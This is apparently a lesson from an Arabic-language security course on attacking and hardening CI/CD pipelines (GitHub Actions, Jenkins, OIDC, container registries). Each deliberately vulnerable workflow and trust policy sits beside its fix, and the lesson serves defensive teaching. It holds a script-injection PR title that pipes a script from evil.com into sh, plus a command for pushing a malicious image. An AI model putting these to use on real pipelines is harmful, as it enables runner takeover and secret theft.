CI/CD Attacks — الـ Pipeline اللي بيخش لـ prod
GitHub Actions و GitLab CI و Jenkins — secrets و runners و artifacts
- المستوى
- خبير
- المدة
- 85m
- الترتيب
- الدرس 72 من 85
ليه CI/CD هدف ذهبي؟
سؤال بسيط: مين عنده صلاحيات أكتر من المدير التقني نفسه في الشركة؟
- المبرمج يا حضرتك؟
لأ.
- طب الـ DBA؟
لأ يا مستجد.
الـ runner اللي شغّال في GitHub Actions، اللي محدش بيبص ناحيته من 3 سنين. هو اللي عنده cloud admin، registry write، deploy keys، و secrets كل الإنتاج. كله في pod واحد.
نقاط الدخول الرئيسية
GitHub Actions — أكتر سطح بيتضرب
1) pull_request_target — الفخ الكلاسيكي
# خطير! يُشغّل بصلاحيات repo (secrets) لكن مع كود الـ PR
on: pull_request_target
jobs:
build:
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # كود غير موثوق!
- run: npm install && npm run build # ينفّذ scripts الخبيثة
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # السرّ مكشوفالحل: استخدم pull_request العادي (مفيش secrets على PRs خارجية)، أو افصل: workflow بدون امتيازات بيبني، وworkflow تاني بيستخدم الـ secrets بس بعد label يدوي.
2) Script injection عبر context
- run: echo "Title: ${{ github.event.pull_request.title }}"
# عنوان PR مثل: $(curl evil.com/x.sh | sh) — ينفّذ على الـ runner!الحل: مرر القيم عبر env:
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}3) Third-party action مثبّتة بـ tag (mutable)
- uses: tj-actions/changed-files@v44 # tag يمكن تحريكه!
# في 2025 تم اختراق tj-actions و أُعيد توجيه v44 لـ commit يسرّب secretsالحل: ثبّت بـ SHA كامل:
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8 # v44.5.7Self-hosted runners — أخطر منشأة في خط الـ CI/CD
OIDC misconfiguration — اختراق سحابي من غير باسورد
// AWS Trust policy خطر — أي workflow في الـ org يأخذ الدور!
{
"Effect": "Allow",
"Principal": { "Federated": "arn:aws:iam::1234:oidc-provider/token.actions.githubusercontent.com" },
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:my-org/*" // <— خطأ
}
}
}الصح: قيّد بفرع محدد وrepo محدد:
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"Jenkins — قديم وفيه مفاجآت
- Script Console (/script) → تنفيذ Groovy = root على الـ master. ناس كتير سايبه مكشوف.
- build with parameters → injection في shell step.
- credentials.xml على الـ master فيه كل الأسرار مشفرة بمفتاح موجود جنبها. تحفة، مش كدة؟
Container registries والـ artifacts
سرقة push token = نشر صورة خبيثة بنفس الاسم. كل اللي بيسحب latest بينفذها على نفسه.
# Docker Hub — push صورة مع entrypoint خبيث
docker build -t myorg/app:latest -f Dockerfile.evil .
docker push myorg/app:latest
# الحماية: image signing
cosign sign --key cosign.key myorg/app:sha256@...
cosign verify --key cosign.pub myorg/app:latest # في deploy stepSLSA و Sigstore — توقيع موثوق
SLSA (Supply-chain Levels for Software Artifacts) إطار من Google بيحدد مستويات النضج. الهدف: كل artifact بييجي معاه provenance موقّعة بتثبت مين بناه ومن فين.
- Sigstore / cosign — توقيع keyless عن طريق OIDC (Fulcio CA + Rekor transparency log).
- SLSA Level 3: build على hosted ephemeral runner، provenance مينفعش تتزور.
- التحقق في admission: Kubernetes + Kyverno/Connaisseur بيرفضوا الـ pods من غير توقيع.
الكشف والحماية
الخلاصة الناشفة
الـ CI/CD مش أداة DevOps. هو أعلى صلاحيات في شركتك مجمّعة في process مفيش حد بيراقبه.
اكتبها على الحيطة اللي في وش السرير:
مفيش pinning بـ SHA؟ يبقى أنت بتثق في صاحب الـ repo التاني عشان ما يحرّكش الـ tag.
OIDC مفتوح بـ wildcard؟ يبقى أنت بتدّي AWS لأي repo في الـ org.
self-hosted runner على repo عام؟ يبقى أنت بتدّي shell على بنيتك لأي حد فاتح GitHub.
الـ pipeline ده مش بتاع المبرمجين لوحدهم. هو بتاع الـ security team برضو. لو سيبته لوحدهم يظبّطوه، الكارثة جاية. السؤال بس: إمتى.
علّمه علشان تفضل عارف انت فين على السكة.